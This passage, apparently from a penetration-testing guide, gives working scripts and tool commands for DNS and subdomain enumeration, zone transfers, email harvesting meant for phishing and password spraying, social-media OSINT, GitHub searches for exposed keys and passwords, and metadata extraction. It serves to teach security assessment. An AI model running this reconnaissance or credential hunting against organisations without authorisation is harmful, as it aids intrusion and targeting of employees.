                print(f"  {rtype}: {', '.join(records[:3])}" + 
                      (f" and {len(records)-3} more" if len(records) > 3 else ""))
    
    def brute_force_subdomains(self, wordlist_file, threads=20):
        """Brute force subdomain discovery"""
        print(f"\n[+] Brute-forcing subdomains (using {wordlist_file})")
        
        try:
            with open(wordlist_file, 'r') as f:
                subdomains = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"Wordlist not found: {wordlist_file}")
            return
        
        found = []
        
        def check_subdomain(sub):
            try:
                target = f"{sub}.{self.domain}"
                answers = self.resolver.resolve(target, 'A')
                if answers:
                    ips = [str(a) for a in answers]
                    print(f"  Found: {target} -> {', '.join(ips)}")
                    return {'subdomain': target, 'ips': ips}
            except:
                pass
            return None
        
        with ThreadPoolExecutor(max_workers=threads) as executor:
            results = executor.map(check_subdomain, subdomains)
            found = [r for r in results if r]
        
        self.results['subdomains'] = found
        print(f"\n[+] Found {len(found)} subdomains")
        return found
    
    def attempt_zone_transfer(self):
        """Attempt DNS zone transfer"""
        print(f"\n[+] Attempting zone transfer for {self.domain}")
        
        # Get NS records
        ns_records = self.query_record('NS')
        
        for ns in ns_records:
            ns = ns.rstrip('.')
            print(f"  Trying nameserver: {ns}")
            
            try:
                # Resolve NS to IP
                ns_ip = socket.gethostbyname(ns)
                
                # Attempt zone transfer
                zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, self.domain, timeout=5))
                
                if zone:
                    records = []
                    for name, node in zone.nodes.items():
                        rdatasets = node.rdatasets
                        for rdataset in rdatasets:
                            for rdata in rdataset:
                                records.append({
                                    'name': str(name),
                                    'type': dns.rdatatype.to_text(rdataset.rdtype),
                                    'data': str(rdata)
                                })
                    
                    self.results['zone_transfer'] = {
                        'nameserver': ns,
                        'records': records
                    }
                    
                    print(f"  [!] Zone transfer successful from {ns}!")
                    print(f"      Found {len(records)} records")
                    return True
            except Exception as e:
                print(f"      Failed: {e}")
        
        print("  No zone transfer possible")
        return False
    
    def reverse_lookup(self, subnet):
        """Perform reverse DNS lookup on a subnet"""
        print(f"\n[+] Reverse DNS lookup on {subnet}")
        
        from ipaddress import ip_network
        
        try:
            network = ip_network(subnet)
            found = []
            
            for ip in network.hosts():
                try:
                    rev_name = dns.reversename.from_address(str(ip))
                    answers = self.resolver.resolve(rev_name, 'PTR')
                    for answer in answers:
                        ptr = str(answer)
                        found.append({'ip': str(ip), 'ptr': ptr})
                        print(f"  {ip} -> {ptr}")
                except:
                    pass
            
            self.results['reverse_dns'] = found
            print(f"\n[+] Found {len(found)} PTR records")
            return found
            
        except Exception as e:
            print(f"Error: {e}")
            return []
    
    def get_spf_records(self):
        """Parse SPF records for additional information"""
        txt_records = self.query_record('TXT')
        spf_info = []
        
        for txt in txt_records:
            if txt.startswith('v=spf1'):
                print(f"\n[+] SPF Record: {txt}")
                
                # Parse SPF mechanisms
                mechanisms = txt.split()
                for mech in mechanisms:
                    if mech.startswith('include:'):
                        include_domain = mech.split(':')[1]
                        spf_info.append({'type': 'include', 'value': include_domain})
                        print(f"    Includes: {include_domain}")
                    elif mech.startswith('ip4:'):
                        ip = mech.split(':')[1]
                        spf_info.append({'type': 'ip4', 'value': ip})
                        print(f"    Allows IP: {ip}")
                    elif mech.startswith('ip6:'):
                        ip = mech.split(':')[1]
                        spf_info.append({'type': 'ip6', 'value': ip})
                        print(f"    Allows IPv6: {ip}")
        
        return spf_info
    
    def get_dmarc_record(self):
        """Check DMARC policy"""
        try:
            dmarc_domain = f"_dmarc.{self.domain}"
            answers = self.resolver.resolve(dmarc_domain, 'TXT')
            for answer in answers:
                dmarc = str(answer)
                if dmarc.startswith('v=DMARC1'):
                    print(f"\n[+] DMARC Record: {dmarc}")
                    
                    # Parse DMARC tags
                    tags = dmarc.split(';')
                    dmarc_info = {}
                    for tag in tags:
                        if '=' in tag:
                            key, value = tag.strip().split('=', 1)
                            dmarc_info[key] = value
                    
                    return dmarc_info
        except:
            print("\n[-] No DMARC record found")
        
        return None
    
    def get_caa_record(self):
        """Check CAA (Certificate Authority Authorization)"""
        caa_records = self.query_record('CAA')
        if caa_records:
            print(f"\n[+] CAA Records: {caa_records}")
            return caa_records
        return []
    
    def save_results(self, filename):
        """Save results to JSON file"""
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2, default=str)
        print(f"\n[+] Results saved to {filename}")
    
    def generate_report(self):
        """Generate a summary report"""
        print("\n" + "="*60)
        print(f"DNS ENUMERATION REPORT: {self.domain}")
        print("="*60)
        
        # Records summary
        print("\n[ DNS RECORDS ]")
        for rtype, records in self.results['records'].items():
            print(f"  {rtype}: {len(records)} records")
        
        # Subdomains
        if self.results['subdomains']:
            print(f"\n[ SUBDOMAINS ] ({len(self.results['subdomains'])} found)")
            for sub in self.results['subdomains'][:10]:  # Show first 10
                print(f"  {sub['subdomain']} -> {', '.join(sub['ips'])}")
            if len(self.results['subdomains']) > 10:
                print(f"  ... and {len(self.results['subdomains'])-10} more")
        
        # Zone transfer
        if self.results['zone_transfer']:
            print(f"\n[ ZONE TRANSFER ] Successful from {self.results['zone_transfer']['nameserver']}")
            print(f"  Records: {len(self.results['zone_transfer']['records'])}")
        
        print("\n" + "="*60)

# Command-line interface
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: dns_enum.py <domain> [wordlist]")
        print("Example: dns_enum.py example.com /usr/share/wordlists/dns/subdomains.txt")
        sys.exit(1)
    
    domain = sys.argv[1]
    wordlist = sys.argv[2] if len(sys.argv) > 2 else None
    
    enumerator = DNSEnumerator(domain)
    
    # Run enumeration
    enumerator.enumerate_all_records()
    enumerator.get_spf_records()
    enumerator.get_dmarc_record()
    enumerator.get_caa_record()
    
    if wordlist:
        enumerator.brute_force_subdomains(wordlist)
    
    enumerator.attempt_zone_transfer()
    
    # Generate report and save
    enumerator.generate_report()
    enumerator.save_results(f"{domain}_dns_enum.json")

8.3.2 DNS Enumeration Tools

DNSRecon:

# Install dnsrecon
apt install dnsrecon

# Basic enumeration
dnsrecon -d example.com

# Comprehensive scan
dnsrecon -d example.com -t std,brt,bing,yahoo,google,tld

# Zone transfer attempt
dnsrecon -d example.com -t axfr

# Reverse lookup
dnsrecon -r 192.168.1.0/24

# Save to file
dnsrecon -d example.com --json output.json --xml output.xml

DNSEnum:

# Install dnsenum
apt install dnsenum

# Basic enumeration
dnsenum example.com

# With subdomain brute force
dnsenum --enum -f /usr/share/wordlists/dns/subdomains.txt example.com

# With whois and reverse lookup
dnsenum --enum -f wordlist.txt -r example.com

Fierce:

# Install fierce
apt install fierce

# Basic scan
fierce --domain example.com

# With DNS server
fierce --domain example.com --dns-servers 8.8.8.8

# Range scan
fierce --domain example.com --range 192.168.1.0/24

# Subdomain brute force
fierce --domain example.com --subdomains wordlist.txt

8.4 Email Harvesting

Email harvesting collects email addresses associated with a target, which can be used for phishing, password spraying, or social engineering.

8.4.1 Email Discovery Techniques

theHarvester:

# Install theHarvester
apt install theHarvester

# Basic search
theHarvester -d example.com -b google

# Multiple sources
theHarvester -d example.com -b google,linkedin,bing,yahoo

# Limit results
theHarvester -d example.com -b all -l 500

# Save output
theHarvester -d example.com -b all -f results.html

Custom Email Harvester:

#!/usr/bin/env python3
# email_harvester.py

import re
import requests
import sys
import time
from urllib.parse import urlparse, urljoin
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import json

class EmailHarvester:
    def __init__(self, target):
        self.target = target
        self.emails = set()
        self.urls_visited = set()
        self.results = {
            'target': target,
            'emails': [],
            'sources': {}
        }
        
    def extract_emails_from_text(self, text, source):
        """Extract email addresses from text"""
        # Basic email regex
        email_pattern = r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
        found = re.findall(email_pattern, text)
        
        # Filter emails matching the target domain or collect all
        for email in found:
            # Basic validation
            if self.is_valid_email(email):
                self.emails.add(email)
                if source not in self.results['sources']:
                    self.results['sources'][source] = []
                if email not in self.results['sources'][source]:
                    self.results['sources'][source].append(email)
        
        return found
    
    def is_valid_email(self, email):
        """Basic email validation"""
        # Remove common false positives
        if email.endswith('.png') or email.endswith('.jpg') or email.endswith('.css'):
            return False
        if 'example.com' in email:
            return False
        if len(email) > 100:  # Unreasonably long
            return False
        return True
    
    def search_google(self, query, pages=5):
        """Search Google for emails (requires careful rate limiting)"""
        print(f"[*] Searching Google for: {query}")
        
        # This is a simplified version - in practice, use Google Custom Search API
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
        
        for page in range(pages):
            try:
                start = page * 10
                url = f"https://www.google.com/search?q={query}&start={start}"
                response = requests.get(url, headers=headers, timeout=5)
                
                if response.status_code == 200:
                    self.extract_emails_from_text(response.text, 'google')
                
                time.sleep(2)  # Be respectful
            except Exception as e:
                print(f"  Error: {e}")
    
    def crawl_website(self, url, max_pages=50):
        """Crawl a website and extract emails"""
        if len(self.urls_visited) >= max_pages:
            return
        
        if url in self.urls_visited:
            return
        
        self.urls_visited.add(url)
        print(f"[*] Crawling: {url}")
        
        try:
            headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
            response = requests.get(url, headers=headers, timeout=5)
            
            if response.status_code == 200:
                # Extract emails from page
                self.extract_emails_from_text(response.text, f'crawl:{url}')
                
                # Parse HTML and find links
                soup = BeautifulSoup(response.text, 'html.parser')
                for link in soup.find_all('a', href=True):
                    href = link['href']
                    full_url = urljoin(url, href)
                    
                    # Stay on same domain
                    if self.target in full_url and full_url not in self.urls_visited:
                        self.crawl_website(full_url, max_pages)
                        
        except Exception as e:
            print(f"  Error crawling {url}: {e}")
    
    def query_pgp_servers(self, domain):
        """Search PGP key servers for emails"""
        print(f"[*] Searching PGP servers for: {domain}")
        
        servers = [
            'https://keyserver.ubuntu.com',
            'https://pgp.mit.edu'
        ]
        
        for server in servers:
            try:
                url = f"{server}/pks/lookup?search={domain}&op=index&fingerprint=on"
                response = requests.get(url, timeout=5)
                
                if response.status_code == 200:
                    self.extract_emails_from_text(response.text, f'pgp:{server}')
            except Exception as e:
                print(f"  Error with {server}: {e}")
    
    def query_github(self, domain):
        """Search GitHub for emails"""
        print(f"[*] Searching GitHub for: {domain}")
        
        try:
            # GitHub API search
            url = f"https://api.github.com/search/code?q={domain}+extension:txt+email"
            headers = {'Accept': 'application/vnd.github.v3+json'}
            
            # Note: GitHub API requires authentication for many requests
            response = requests.get(url, headers=headers, timeout=5)
            
            if response.status_code == 200:
                data = response.json()
                for item in data.get('items', []):
                    # Fetch file content
                    file_url = item['html_url'].replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')
                    file_response = requests.get(file_url, timeout=5)
                    if file_response.status_code == 200:
                        self.extract_emails_from_text(file_response.text, f'github:{item["repository"]["full_name"]}')
        except Exception as e:
            print(f"  Error: {e}")
    
    def query_common_sources(self):
        """Query common email sources"""
        
        # Common company email formats
        formats = [
            f"*@{self.target}",
            f"*@*.{self.target}",
            f"*@mail.{self.target}"
        ]
        
        # Search engines
        for fmt in formats:
            self.search_google(f'"{fmt}"', pages=3)
        
        # PGP servers
        self.query_pgp_servers(self.target)
        
        # GitHub
        self.query_github(self.target)
    
    def check_email_breaches(self, email):
        """Check if email appears in known breaches (requires HaveIBeenPwned API)"""
        # This would use HIBP API with proper authentication
        pass
    
    def generate_report(self):
        """Generate email harvest report"""
        print("\n" + "="*60)
        print(f"EMAIL HARVEST REPORT: {self.target}")
        print("="*60)
        
        emails_list = sorted(list(self.emails))
        print(f"\n[+] Total unique emails found: {len(emails_list)}")
        
        # Group by domain
        domains = {}
        for email in emails_list:
            domain = email.split('@')[1]
            if domain not in domains:
                domains[domain] = []
            domains[domain].append(email)
        
        print("\n[+] Emails by domain:")
        for domain, domain_emails in domains.items():
            print(f"  {domain}: {len(domain_emails)} emails")
        
        print("\n[+] All emails (first 50):")
        for email in emails_list[:50]:
            sources = []
            for src, src_emails in self.results['sources'].items():
                if email in src_emails:
                    sources.append(src)
            print(f"  {email} [{', '.join(sources[:2])}]")
        
        if len(emails_list) > 50:
            print(f"  ... and {len(emails_list)-50} more")
        
        print("\n[+] Sources summary:")
        for source, emails in self.results['sources'].items():
            print(f"  {source}: {len(emails)} emails")
        
        print("\n" + "="*60)
    
    def save_results(self, filename):
        """Save results to file"""
        self.results['emails'] = sorted(list(self.emails))
        self.results['total'] = len(self.emails)
        self.results['urls_visited'] = list(self.urls_visited)
        
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2)
        
        # Also save plain text list
        txt_file = filename.replace('.json', '.txt')
        with open(txt_file, 'w') as f:
            for email in sorted(list(self.emails)):
                f.write(f"{email}\n")
        
        print(f"\n[+] Results saved to {filename} and {txt_file}")
    
    def harvest(self):
        """Run all harvesting techniques"""
        print(f"[+] Starting email harvest for {self.target}")
        
        # Query common sources
        self.query_common_sources()
        
        # Crawl website if it exists
        try:
            if not self.target.startswith('http'):
                website = f"https://{self.target}"
            else:
                website = self.target
            
            self.crawl_website(website, max_pages=30)
        except Exception as e:
            print(f"  Error crawling website: {e}")
        
        self.generate_report()

# Command-line interface
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: email_harvester.py <domain> [output_file]")
        print("Example: email_harvester.py example.com results.json")
        sys.exit(1)
    
    target = sys.argv[1]
    output = sys.argv[2] if len(sys.argv) > 2 else f"{target}_emails.json"
    
    harvester = EmailHarvester(target)
    harvester.harvest()
    harvester.save_results(output)

8.4.2 Advanced Email Discovery

Hunter.io Integration:

# hunter_io_api.py
import requests
import sys

def hunter_search(domain, api_key):
    """Search Hunter.io for emails"""
    url = f"https://api.hunter.io/v2/domain-search"
    params = {
        'domain': domain,
        'api_key': api_key
    }
    
    try:
        response = requests.get(url, params=params)
        if response.status_code == 200:
            data = response.json()
            emails = data.get('data', {}).get('emails', [])
            
            print(f"\n[+] Hunter.io found {len(emails)} emails:")
            for email in emails:
                print(f"  {email['value']} - {email.get('position', 'N/A')}")
                
            return emails
    except Exception as e:
        print(f"Error: {e}")
    
    return []

# Usage would require API key

Email Pattern Analysis:

# email_patterns.py

def analyze_email_patterns(emails):
    """Analyze email naming patterns"""
    patterns = {
        'first.last': [],
        'first_last': [],
        'first.last_initial': [],
        'firstinitial.last': [],
        'first': [],
        'other': []
    }
    
    for email in emails:
        if '@' not in email:
            continue
        
        local = email.split('@')[0]
        
        if '.' in local and len(local.split('.')) == 2:
            first, last = local.split('.')
            if len(first) > 1 and len(last) > 1:
                patterns['first.last'].append(email)
        elif '_' in local and len(local.split('_')) == 2:
            patterns['first_last'].append(email)
        elif '.' in local and len(local.split('.')) == 2 and len(local.split('.')[0]) == 1:
            patterns['firstinitial.last'].append(email)
        else:
            patterns['other'].append(email)
    
    return patterns

8.5 Subdomain Discovery

Subdomains reveal additional attack surfaces and often host development, staging, or forgotten applications.

8.5.1 Subdomain Discovery Techniques

Certificate Transparency Logs:

#!/usr/bin/env python3
# ct_logs.py

import requests
import json
import sys

def query_crtsh(domain):
    """Query crt.sh Certificate Transparency logs"""
    url = f"https://crt.sh/?q=%.{domain}&output=json"
    
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            data = response.json()
            subdomains = set()
            
            for entry in data:
                name = entry.get('name_value', '')
                if name:
                    # Handle multiple names in one entry
                    for n in name.split('\n'):
                        n = n.strip()
                        if n.endswith(f".{domain}") or n == domain:
                            subdomains.add(n.lower())
            
            return sorted(subdomains)
    except Exception as e:
        print(f"Error querying crt.sh: {e}")
    
    return []

def query_certspotter(domain):
    """Query CertSpotter API"""
    url = f"https://api.certspotter.com/v1/issuances"
    params = {
        'domain': domain,
        'include_subdomains': 'true',
        'expand': 'dns_names'
    }
    
    try:
        response = requests.get(url, params=params)
        if response.status_code == 200:
            data = response.json()
            subdomains = set()
            
            for cert in data:
                for name in cert.get('dns_names', []):
                    if name.endswith(f".{domain}"):
                        subdomains.add(name.lower())
            
            return sorted(subdomains)
    except Exception as e:
        print(f"Error querying CertSpotter: {e}")
    
    return []

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: ct_logs.py <domain>")
        sys.exit(1)
    
    domain = sys.argv[1]
    
    print(f"[+] Querying Certificate Transparency logs for {domain}")
    
    crtsh = query_crtsh(domain)
    print(f"\ncrt.sh found {len(crtsh)} subdomains")
    
    certspotter = query_certspotter(domain)
    print(f"CertSpotter found {len(certspotter)} subdomains")
    
    all_subs = sorted(set(crtsh + certspotter))
    print(f"\nTotal unique subdomains: {len(all_subs)}")
    
    if all_subs:
        print("\nSample subdomains:")
        for sub in all_subs[:20]:
            print(f"  {sub}")

DNS Brute Forcing:

#!/usr/bin/env python3
# subdomain_brute.py

import dns.resolver
import sys
import json
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

class SubdomainBruteforcer:
    def __init__(self, domain, threads=50, dns_server='8.8.8.8'):
        self.domain = domain
        self.threads = threads
        self.resolver = dns.resolver.Resolver()
        self.resolver.nameservers = [dns_server]
        self.resolver.timeout = 2
        self.resolver.lifetime = 2
        self.found = []
        
    def check_subdomain(self, sub):
        """Check if subdomain resolves"""
        target = f"{sub}.{self.domain}"
        try:
            answers = self.resolver.resolve(target, 'A')
            if answers:
                ips = [str(a) for a in answers]
                return {'subdomain': target, 'ips': ips, 'type': 'A'}
        except dns.resolver.NXDOMAIN:
            pass
        except dns.resolver.NoAnswer:
            # Try CNAME
            try:
                answers = self.resolver.resolve(target, 'CNAME')
                if answers:
                    cname = str(answers[0])
                    return {'subdomain': target, 'cname': cname, 'type': 'CNAME'}
            except:
                pass
        except Exception as e:
            pass
        return None
    
    def brute_force(self, wordlist_file, output_file=None):
        """Run brute force with wordlist"""
        print(f"[+] Starting subdomain brute force for {self.domain}")
        print(f"[+] Using {self.threads} threads")
        
        try:
            with open(wordlist_file, 'r') as f:
                subdomains = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"Wordlist not found: {wordlist_file}")
            return []
        
        total = len(subdomains)
        print(f"[+] Loaded {total} subdomains to check")
        
        start_time = time.time()
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            future_to_sub = {executor.submit(self.check_subdomain, sub): sub for sub in subdomains}
            
            for i, future in enumerate(as_completed(future_to_sub), 1):
                result = future.result()
                if result:
                    self.found.append(result)
                    print(f"  Found: {result['subdomain']}")
                
                if i % 1000 == 0:
                    elapsed = time.time() - start_time
                    rate = i / elapsed
                    print(f"[+] Progress: {i}/{total} ({i/total*100:.1f}%) - {rate:.1f} queries/sec")
        
        elapsed = time.time() - start_time
        print(f"\n[+] Brute force completed in {elapsed:.1f} seconds")
        print(f"[+] Found {len(self.found)} subdomains")
        
        if output_file:
            self.save_results(output_file)
        
        return self.found
    
    def save_results(self, filename):
        """Save results to file"""
        with open(filename, 'w') as f:
            json.dump({
                'domain': self.domain,
                'found': self.found,
                'count': len(self.found)
            }, f, indent=2)
        
        # Save plain text list
        txt_file = filename.replace('.json', '.txt')
        with open(txt_file, 'w') as f:
            for item in self.found:
                f.write(f"{item['subdomain']}\n")
        
        print(f"[+] Results saved to {filename} and {txt_file}")
    
    def resolve_all(self):
        """Resolve all found subdomains to IPs"""
        for item in self.found:
            if 'ips' not in item:
                try:
                    answers = self.resolver.resolve(item['subdomain'], 'A')
                    item['ips'] = [str(a) for a in answers]
                except:
                    item['ips'] = []

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: subdomain_brute.py <domain> <wordlist> [output_file]")
        print("Example: subdomain_brute.py example.com /usr/share/wordlists/dns/subdomains.txt")
        sys.exit(1)
    
    domain = sys.argv[1]
    wordlist = sys.argv[2]
    output = sys.argv[3] if len(sys.argv) > 3 else f"{domain}_subdomains.json"
    
    bruteforcer = SubdomainBruteforcer(domain, threads=100)
    bruteforcer.brute_force(wordlist, output)

8.5.2 Subdomain Discovery Tools

Amass:

# Install Amass
apt install amass

# Basic enumeration
amass enum -d example.com

# Passive mode (no direct connections)
amass enum -passive -d example.com

# Active mode (includes brute forcing)
amass enum -active -d example.com

# Use all sources
amass enum -d example.com -config /etc/amass/config.ini

# Output formats
amass enum -d example.com -o subs.txt
amass enum -d example.com -json output.json
amass enum -d example.com -oA example_amass

# Visualize results
amass viz -d example.com -o example_amass.html

Subfinder:

# Install subfinder
apt install subfinder

# Basic usage
subfinder -d example.com

# Silent mode (just subdomains)
subfinder -d example.com -silent

# Use all sources
subfinder -d example.com -all

# Output to file
subfinder -d example.com -o subs.txt

# Recursive enumeration
subfinder -d example.com -recursive

Assetfinder:

# Install assetfinder
go install github.com/tomnomnom/assetfinder@latest

# Basic usage
assetfinder example.com

# Only include subdomains
assetfinder --subs-only example.com

Comprehensive Subdomain Discovery:

#!/bin/bash
# subdomain_mega.sh

domain="$1"
output_dir="subdomain_scan_$(date +%Y%m%d)"

if [ -z "$domain" ]; then
    echo "Usage: $0 <domain>"
    exit 1
fi

mkdir -p "$output_dir"

echo "[+] Starting comprehensive subdomain discovery for $domain"

# Certificate Transparency logs
echo "[*] Querying crt.sh..."
curl -s "https://crt.sh/?q=%.$domain&output=json" | jq -r '.[].name_value' | grep -v '*' | sort -u > "$output_dir/crtsh.txt"

# Amass passive
echo "[*] Running Amass passive..."
amass enum -passive -d "$domain" -o "$output_dir/amass_passive.txt"

# Subfinder
echo "[*] Running Subfinder..."
subfinder -d "$domain" -silent > "$output_dir/subfinder.txt"

# Assetfinder
echo "[*] Running Assetfinder..."
assetfinder --subs-only "$domain" > "$output_dir/assetfinder.txt"

# Combine all results
cat "$output_dir"/*.txt | sort -u > "$output_dir/all_subs.txt"

# Resolve subdomains
echo "[*] Resolving subdomains..."
while read sub; do
    ip=$(dig +short "$sub" A | head -1)
    if [ ! -z "$ip" ]; then
        echo "$sub -> $ip" >> "$output_dir/resolved.txt"
    fi
done < "$output_dir/all_subs.txt"

# HTTP/HTTPS check
echo "[*] Checking for web servers..."
while read sub; do
    for proto in http https; do
        curl -s -o /dev/null -w "%{http_code}" "$proto://$sub" 2>/dev/null | grep -q "200\|301\|302\|401\|403"
        if [ $? -eq 0 ]; then
            echo "$proto://$sub" >> "$output_dir/webservers.txt"
        fi
    done
done < "$output_dir/all_subs.txt"

echo "[+] Subdomain discovery complete!"
echo "    Total subdomains: $(wc -l < "$output_dir/all_subs.txt")"
echo "    Resolved: $(wc -l < "$output_dir/resolved.txt")"
echo "    Web servers: $(wc -l < "$output_dir/webservers.txt")"
echo "    Results in: $output_dir"

8.6 Social Media Intelligence

Social media platforms are rich sources of information about organizations and individuals.

8.6.1 LinkedIn Intelligence

LinkedIn Data Extraction:

#!/usr/bin/env python3
# linkedin_osint.py

import requests
import json
import sys
import time
from bs4 import BeautifulSoup

class LinkedInOSINT:
    def __init__(self, company_name):
        self.company = company_name
        self.employees = []
        
    def search_company(self):
        """Search for company on LinkedIn"""
        # Note: LinkedIn has strict anti-scraping measures
        # This is a simplified example using public data
        search_url = f"https://www.linkedin.com/company/{self.company.replace(' ', '-').lower()}"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        
        try:
            response = requests.get(search_url, headers=headers)
            if response.status_code == 200:
                soup = BeautifulSoup(response.text, 'html.parser')
                
                # Extract company info
                info = {}
                
                # This would need to be adapted based on LinkedIn's current HTML
                # and would likely require authentication
                
                return info
        except Exception as e:
            print(f"Error: {e}")
        
        return {}
    
    def extract_employee_patterns(self):
        """Analyze employee naming patterns"""
        # Common patterns for company emails
        patterns = [
            "first.last@company.com",
            "first_last@company.com",
            "firstl@company.com",
            "first.last@company.com",
            "flast@company.com"
        ]
        
        # If we had employee names, we could generate potential emails
        return patterns

# Alternative: Use LinkedIn API (requires application registration)

Using LinkedIn for OSINT:

# Tools like linkedin2username (requires account)
git clone https://github.com/initstring/linkedin2username.git
cd linkedin2username
pip3 install -r requirements.txt

# Generate username list for company
python3 linkedin2username.py -c "Company Name" -d domain.com

# Sherlock for username enumeration
apt install sherlock
sherlock username

8.6.2 Twitter Intelligence

Twitter OSINT Collection:

#!/usr/bin/env python3
# twitter_osint.py

import requests
import json
import sys
import time

class TwitterOSINT:
    def __init__(self, target):
        self.target = target
        self.tweets = []
        
    def search_twitter(self, query):
        """Search Twitter for mentions"""
        # Using Twitter API v2 (requires API keys)
        # This is a placeholder for the actual API call
        
        bearer_token = "YOUR_BEARER_TOKEN"
        
        url = "https://api.twitter.com/2/tweets/search/recent"
        params = {
            'query': query,
            'max_results': 100,
            'tweet.fields': 'created_at,public_metrics,entities'
        }
        
        headers = {
            'Authorization': f'Bearer {bearer_token}'
        }
        
        try:
            response = requests.get(url, params=params, headers=headers)
            if response.status_code == 200:
                return response.json()
        except Exception as e:
            print(f"Error: {e}")
        
        return {}
    
    def extract_metadata(self):
        """Extract metadata from tweets"""
        # Analyze tweet patterns, hashtags, mentions
        pass

# Alternative: Use twint (no API required)
# pip3 install twint

Twint for Twitter OSINT:

# Install twint
pip3 install twint

# Search tweets from a user
twint -u username

# Search for tweets containing a term
twint -s "company name" --since 2024-01-01

# Get user followers
twint -u username --followers

# Get user following
twint -u username --following

# Export to CSV
twint -u username -o tweets.csv --csv

8.6.3 GitHub Intelligence

GitHub Code Search:

#!/usr/bin/env python3
# github_osint.py

import requests
import json
import sys
import base64

class GitHubOSINT:
    def __init__(self, target, token=None):
        self.target = target
        self.token = token
        self.base_url = "https://api.github.com"
        self.headers = {}
        
        if token:
            self.headers['Authorization'] = f'token {token}'
        self.headers['Accept'] = 'application/vnd.github.v3+json'
        
    def search_code(self, query):
        """Search for code containing target information"""
        url = f"{self.base_url}/search/code"
        params = {
            'q': query,
            'per_page': 100
        }
        
        try:
            response = requests.get(url, params=params, headers=self.headers)
            if response.status_code == 200:
                return response.json()
            elif response.status_code == 403:
                print("Rate limit exceeded")
        except Exception as e:
            print(f"Error: {e}")
        
        return {}
    
    def search_email_patterns(self):
        """Search for email addresses"""
        queries = [
            f'"{self.target}" email',
            f'@{self.target}',
            f'"{self.target}" .com'
        ]
        
        results = []
        for query in queries:
            data = self.search_code(query)
            if data and 'items' in data:
                results.extend(data['items'])
        
        return results
    
    def search_api_keys(self):
        """Search for exposed API keys"""
        patterns = [
            f'"{self.target}" api_key',
            f'"{self.target}" secret',
            f'"{self.target}" password',
            f'"{self.target}" token'
        ]
        
        results = []
        for pattern in patterns:
            data = self.search_code(pattern)
            if data and 'items' in data:
                results.extend(data['items'])
        
        return results
    
    def get_file_content(self, url):
        """Get content of a file"""
        try:
            response = requests.get(url, headers=self.headers)
            if response.status_code == 200:
                content = response.json()
                if 'content' in content:
                    return base64.b64decode(content['content']).decode('utf-8', errors='ignore')
        except:
            pass
        return None
    
    def analyze_repositories(self):
        """Find repositories related to target"""
        url = f"{self.base_url}/search/repositories"
        params = {
            'q': self.target,
            'sort': 'stars',
            'order': 'desc'
        }
        
        try:
            response = requests.get(url, params=params, headers=self.headers)
            if response.status_code == 200:
                return response.json()
        except Exception as e:
            print(f"Error: {e}")
        
        return {}
    
    def find_user_repos(self, username):
        """Find repositories by a specific user"""
        url = f"{self.base_url}/users/{username}/repos"
        params = {
            'per_page': 100,
            'sort': 'updated'
        }
        
        try:
            response = requests.get(url, params=params, headers=self.headers)
            if response.status_code == 200:
                return response.json()
        except Exception as e:
            print(f"Error: {e}")
        
        return {}

# Usage example
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: github_osint.py <target> [github_token]")
        sys.exit(1)
    
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    
    gh = GitHubOSINT(target, token)
    
    print(f"[+] Searching GitHub for {target}")
    
    # Search for emails
    emails = gh.search_email_patterns()
    print(f"\nFound {len(emails)} potential email matches")
    
    # Search for API keys
    keys = gh.search_api_keys()
    print(f"Found {len(keys)} potential credential matches")
    
    # Find repositories
    repos = gh.analyze_repositories()
    if repos and 'items' in repos:
        print(f"\nTop repositories:")
        for repo in repos['items'][:5]:
            print(f"  {repo['full_name']} - {repo['html_url']}")

8.7 Metadata Analysis

Metadata embedded in files can reveal sensitive information about an organization.

8.7.1 File Metadata Extraction

ExifTool:

# Install exiftool
apt install exiftool

# Extract metadata from image
exiftool image.jpg

# Extract all metadata from PDF
exiftool -a -u document.pdf

# Extract GPS coordinates
exiftool -gps* image.jpg

# Extract metadata from multiple files
exiftool -r -ext jpg -ext png directory/

# Output as CSV
exiftool -csv *.jpg > metadata.csv

Metadata Extraction Script:

#!/usr/bin/env python3
# metadata_extractor.py

import os
import sys
import json
import subprocess
from datetime import datetime

class MetadataExtractor:
    def __init__(self, target_dir):
        self.target_dir = target_dir
        self.results = {}
        
    def extract_with_exiftool(self, filepath):
        """Extract metadata using exiftool"""
        try:
            result = subprocess.run(
                ['exiftool', '-json', filepath],
                capture_output=True,
                text=True
            )
            if result.returncode == 0:
                return json.loads(result.stdout)[0]
        except Exception as e:
            print(f"Error with exiftool on {filepath}: {e}")
        return {}
    
    def extract_pdf_metadata(self, filepath):
        """Extract PDF-specific metadata"""
        metadata = {}
        
        # Try pdfinfo
        try:
            result = subprocess.run(
                ['pdfinfo', filepath],
                capture_output=True,
                text=True
            )
            if result.returncode == 0:
                for line in result.stdout.split('\n'):
                    if ':' in line:
                        key, value = line.split(':', 1)
                        metadata[key.strip()] = value.strip()
        except:
            pass
        
        return metadata
    
    def extract_doc_metadata(self, filepath):
        """Extract Office document metadata"""
        metadata = {}
        
        # Try exiftool first (works for Office docs)
        metadata.update(self.extract_with_exiftool(filepath))
        
        return metadata
    
    def analyze_file(self, filepath):
        """Analyze a single file"""
        ext = os.path.splitext(filepath)[1].lower()
        
        metadata = {
            'file': filepath,
            'size': os.path.getsize(filepath),
